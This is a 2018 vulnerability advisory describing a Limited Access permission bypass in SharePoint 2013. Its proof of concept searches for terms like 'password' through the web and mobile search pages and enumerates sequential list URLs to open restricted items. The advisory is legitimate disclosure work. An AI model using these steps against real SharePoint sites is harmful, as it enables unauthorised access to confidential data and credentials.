Document Title: =============== Microsoft Sharepoint 2013 - Limited Access Permission Bypass Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2111 Release Date: ============= 2018-01-07 Vulnerability Laboratory ID (VL-ID): ==================================== 2111 Common Vulnerability Scoring System: ==================================== 4.8 Vulnerability Class: ==================== Filter or Protection Mechanism Bypass Current Estimated Price: ======================== 1.000€ - 2.000€ Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a permission bypass vulnerability in the Microsoft Sharepoint online service web-application. Vulnerability Disclosure Timeline: ================================== 2018-01-07: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Microsoft Corporation Product: Sharepoint Online Service - (Web-Application) 2013 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A permission level bypass web vulnerability has been identified in the microsoft sharePoint 2013 online service web-application & maybe prior versions. The security vulnerability allows attackers to open or view restricted items in the site or library. An authenticated user can bypass `Limited Access` permissions to browse a page or library to access a specific content item that was restricted. Proof of Concept (PoC): ======================= POC 1: 1. Search for specific words inside web & mobile sharepoint search box: `password` `pass` `user` `domainuser` `name | lastname` ... [~] web search: http://site/BSearch/results.aspx [~] mobie search: http://site/_layouts/mobile/MobileResults.aspx example : http://site/BSearch/results.aspx?k=password example : http://site/BSearch/results.aspx?k="NSA1377"; example : http://site/_layouts/mobile/MobileResults.aspx?k=pass example : http://site/_layouts/mobile/MobileResults.aspx?k=BOB 2. The page shown some of sharepoint's search results like restricted specific item, site, library urls etc 3. so click at the urls to access|viwe|read site page and other restricted library and items POC 2: After capturing packets between our system and the sharepoint site (use fiddler or burpsiute, wireshark ...) We have access to items, list, pages, sites urls like as follows: http://site/IT/Lists/List70/AllItems.aspx Access to restricted items & lists by make /LIST#/ urls Example: http://site/IT/Lists/List100/AllItems.aspx http://site/IT/Lists/List101/AllItems.aspx http://site/IT/Lists/List102/AllItems.aspx Security Risk: ============== The security risk of the bypass vulnerability in the microsoft sharepoint 2013 application is estimated as medium (CVSS 4.8). Credits & Authors: ================== Behnam Vanda [beni.vanda@xxxxxxxxx] [redhathackers] - https://www.vulnerability-lab.com/show.php?user=Behnam+Vanda Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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